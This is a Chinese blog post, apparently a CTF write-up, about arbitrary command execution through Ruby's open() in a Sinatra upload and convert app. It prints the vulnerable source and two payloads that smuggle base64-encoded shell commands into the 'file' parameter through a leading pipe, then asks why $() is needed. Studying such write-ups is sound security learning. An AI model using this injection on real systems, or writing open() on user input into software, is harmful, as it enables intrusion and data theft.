ruby中open()函数任意命令执行

本题是在2021第五空间中出现的

具体的源代码如下:

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

 可以看到这道题并没有什么特别复杂的点,就一个open()函数的问题,之前做题的时候查了open()函数的漏洞,没有查到,所以没有做出来,记录一下

漏洞原理

open()函数可以进行命令执行

所以exp为

file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png

file=|bash -c "$(echo 'Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt' | base64 -d)" #.png

 

就get flag了

这里有一个小疑问记录一下

为什么这里的命令要用$()包裹,我查到的bash -c "cmd String"不太理解这里为什么要加$()

我尝试了一下,如果不加$(),那么ls /这条命令不会执行,而是直接会输出 ls /

所以我猜测加'  '让ls /执行,执行之后的结果再输出

有懂的大佬可以解释一些,谢谢!

posted @ 2021-09-24 10:08  无据  阅读(156)  评论(0编辑  收藏  举报